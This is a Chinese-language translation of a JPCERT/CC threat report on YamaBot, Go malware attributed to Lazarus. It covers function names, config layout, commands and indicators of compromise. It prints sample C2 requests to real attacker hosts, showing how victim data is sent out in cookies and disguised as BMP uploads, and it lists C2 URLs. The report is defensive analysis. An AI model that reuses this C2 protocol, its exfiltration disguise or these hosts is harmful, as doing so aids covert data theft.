1.YamaBot概述
近年来JPCERT/CC 正在不断调查攻击组织Lazarus的活动。在2021年度的CODE BLUE和HITCON上,JPCERT/CC的朝长秀诚发布了Lazarus的攻击活动分析报告,并确认了其中针对 Linux 操作系统的恶意软件 YamaBot。
YamaBot 是使用 Go 语言创建的、使用 HTTP 请求与 C2 服务器通信的恶意软件,在不同平台创建的恶意软件的功能略有不同。下面是针对 Windows 操作系统的样本中包含的恶意软件的函数名称列表(YamaBot 是攻击者自己命名的恶意软件)。
_/D_/Bot/YamaBot/utilities.BaseDecodeR
_/D_/Bot/YamaBot/utilities.HttpPostWithCookie
_/D_/Bot/YamaBot/utilities.HttpPostWithFile
_/D_/Bot/YamaBot/utilities.GetMacAddress
_/D_/Bot/YamaBot/utilities.GetHash
_/D_/Bot/YamaBot/utilities.GetCookieParams
_/D_/Bot/YamaBot/utilities.GetRndString
_/D_/Bot/YamaBot/utilities.BmpMaker
_/D_/Bot/YamaBot/utilities.createMutex
_/D_/Bot/YamaBot/utilities.CCheckkmutex
_/D_/Bot/YamaBot/utilities.CIpaddress
_/D_/Bot/YamaBot/utilities.COsname
_/D_/Bot/YamaBot/utilities.getOSVer
_/D_/Bot/YamaBot/utilities.Run
_/D_/Bot/YamaBot/utilities.Run.func1
_/D_/Bot/YamaBot/utilities.Run.func2
_/D_/Bot/YamaBot/engine.(*FileStruct).Lunch
_/D_/Bot/YamaBot/engine.(*FileStruct).Init_Verbindung
_/D_/Bot/YamaBot/engine.(*FileStruct).Verschlusselte_Zeichenkette_Eerhalten
_/D_/Bot/YamaBot/engine.(*FileStruct).getInitBotInfo
_/D_/Bot/YamaBot/engine.(*FileStruct).getEggPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).handleMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).processMarketPrice
_/D_/Bot/YamaBot/engine.(*FileStruct).getSessionStr
下面是针对 Linux 操作系统的样本中包含的恶意软件的函数名称列表,此处使用了一个叫Kaos的名字。
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecodeR
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithCookie
_/C_/Users/administrator/Downloads/kaos/utilities.BaseDecode
_/C_/Users/administrator/Downloads/kaos/utilities.HttpPostWithFile
_/C_/Users/administrator/Downloads/kaos/utilities.GenerateUniqueID
_/C_/Users/administrator/Downloads/kaos/utilities.GetCookieParams
_/C_/Users/administrator/Downloads/kaos/utilities.BaseEncode
_/C_/Users/administrator/Downloads/kaos/utilities.GetRndString
_/C_/Users/administrator/Downloads/kaos/utilities.EierKochen
_/C_/Users/administrator/Downloads/kaos/utilities.CIpaddress
_/C_/Users/administrator/Downloads/kaos/utilities.Run
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).Lunch
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).kandidatKaufhaus
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).initDuck
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).GetEncString
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getInitEggPrice
_/C_/Users/administrator/Downloads/kaos/utilities.COsname
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getEggPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).handleMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).processMarketPrice
_/C_/Users/administrator/Downloads/kaos/engine.(*Egg).getSessionStr
_/C_/Users/administrator/Downloads/kaos/engine.NewEgg
恶意软件配置信息包括 RC4 密钥等(详细配置信息的详细信息见表1、表2)。配置信息与操作系统没有区别。
表1 配置信息列表 (x86)
偏移 | 描述 | 备注 |
0x000 | 间隔 | 通信间隔 |
0x004 | - | 未使用 |
0x008 | C2服务器 | - |
0x00C | C2服务器长度 | - |
0x010 | RC4密钥 | - |
0x014 | RC4密钥长度 | - |
0x018 | 连接C2服务器 | 是否成功连接到C2服务器 |
0x01C | Cookie标头值 | 要在Cookie标头中设置的值 |
0x020 | - | 未使用 |
0x024 | 连接次数 | 与C2服务器的重新连接次数 |
表2 配置信息列表 (x64)
偏移 | 描述 | 备注 |
0x000 | 间隔 | 通信间隔 |
0x008 | C2服务器 | - |
0x010 | C2服务器长度 | - |
0x018 | RC4密钥 | - |
0x020 | RC4密钥长度 | - |
0x028 | 连接C2服务器 | 是否成功连接到C2服务器 |
0x030 | Cookie标头值 | 要在Cookie标头中设置的值 |
0x038 | - | 未使用 |
0x040 | 连接次数 | 与C2服务器的重新连接次数 |
2.通信方式
YamaBot 使用 HTTP 请求与 C2 服务器通信。YamaBot发送的第一个 HTTP 开机自检请求如下。这是一个 HTTP 开机自检请求,但没有要发送的数据,其用户代理是 Base64 编码的。
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Accept-Encoding: gzip
如果成功连接到 C2 服务器,则YamaBot 在 Cookie 标头中添加一些信息并发送。添加的信息包括随机生成的4 字节字符串和 16 字节RC4 密钥的Base64 编码。RC4密钥使用从以下数据生成的 MD5 值的前 16 个字节。
captcha_session中的内容:
目标 Windows 操作系统:主机名、用户名、MAC 地址
目标 Linux 操作系统:主机名、用户名
captcha_val中的内容:RC4 加密和 Base64 编码的终端信息和命令执行结果
POST /editor/session/aaa000/support.php HTTP/1.1
Host: 213.180.180.154
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: 0
Cookie: captcha_session=MTE5NzZmMTYwYzRlNTU4YjhhNDZhMTM4ZGMwNzgzNTNhNmUy; captcha_val=W%2BIePQNeokInrSpb%2Fw1rTLAZvJAZQHmqAm2rXWdTsCvZ
Accept-Encoding: gzip
发送的第一个数据是操作系统信息和 IP 地址:
windows 6 amd64|[192.168.1.1]
linux 386|[192.168.1.1]
此外,如果发送的数据大小超过特定大小(确认3333字节,7000字节的示例),则将发送的数据模拟为多部分 BMP 数据。
POST /recaptcha.php HTTP/1.1
Host: www.karin-store.com
User-Agent: TW96aWxsYS81LjAgKFdpbmRvd3MgTlQgMTAuMDsgV2luNjQ7IHg2NCkgQXBwbGVXZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzYwLjAuMzExMi4xMTMgU2FmYXJpLzUzNy4zNg==
Connection: close
Content-Length: [Length]
Content-Type: multipart/form-data; boundary=f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Cookie: captcha_session=YTY5NDQ5MDYwNmRkNjIyOWI3MzU1NTNmYzMxMzhiNTAyNGJh; captcha_val=NGI5NjdhNTdhNjliZTVkMg%3D%3D
Accept-Encoding: gzip
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb
Content-Disposition: form-data; name="recaptcha"; filename="recaptcha.png"
Content-Type: application/octet-stream
BMf6(....0a..DT043b01c728892b495b99ea4c257fe3a8fea3a5f
--f24fad327291ab32166b7aa751d1d945a35933ee5bd81618274cda6afeeb--
来自服务器的指令包含在set- Cookie 的标头中。指令包含在 RC4 加密(RC4 密钥使用恶意软件发送的数据)和 Base64 编码中,如下所示:
Set-Cookie: captcha_session=[Base64エンコードされた命令]
3. 命令
来自 C2 服务器的指令执行的命令因目标操作系统而异。Linux 操作系统的唯一目标是在 /bin/sh 上运行 shell 命令。另一方面,针对 Windows 操作系统的实现具有多个命令,如下所示:
dir: 获取文件列表
Mapfs: 获取目录列表
Download: 文件下载
Info: 文件路径,发送 PID
Sleep:休眠时间更改
Uninstall: 删除主机
i: 间隔时间更改
其他:使用 shell 命令执行给定的字符串
格式要求上述命令包含在前半部分,可表示为:[命令][指令参数]
如果执行该命令,则发送命令执行结果,其中包含部分德语字符,目前尚不清楚在YamaBot中包含德语的原因。
图1 执行i命令时要发送的数据
4. 总结
YamaBot 是攻击者仍在使用的恶意软件。由于该恶意软件不仅针对 Windows 操作系统,还针对 Linux 操作系统,因此在调查事件时,应仔细调查服务器。日本国内当前也确认了多个Lazarus组织的攻击活动,今后应予以注意。
5. 攻击指标
通信地址:
http://[www].karin-store.com/recaptcha.php
http://[yo]shinorihirano.net/wp-includes/feed-xml.php
http://[213].180.180.154/editor/session/aaa000/support.php
恶意软件哈希值:
f226086b5959eb96bd30dec0ffcbf0f09186cd11721507f416f1c39901addafb
6db57bbc2d07343dd6ceba0f53c73756af78f09fe1cb5ce8e8008e5e7242eae1
参考链接:https://blogs.jpcert.or.jp/ja/2022/06/yamabot.html
编辑|孙书樵
审校|何双泽、金矢
本文为CNTIC编译整理,不代表本公众号观点,转载请保留出处与链接。
声明:本文来自国家网络威胁情报共享开放平台,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如有侵权,请联系 anquanneican@163.com。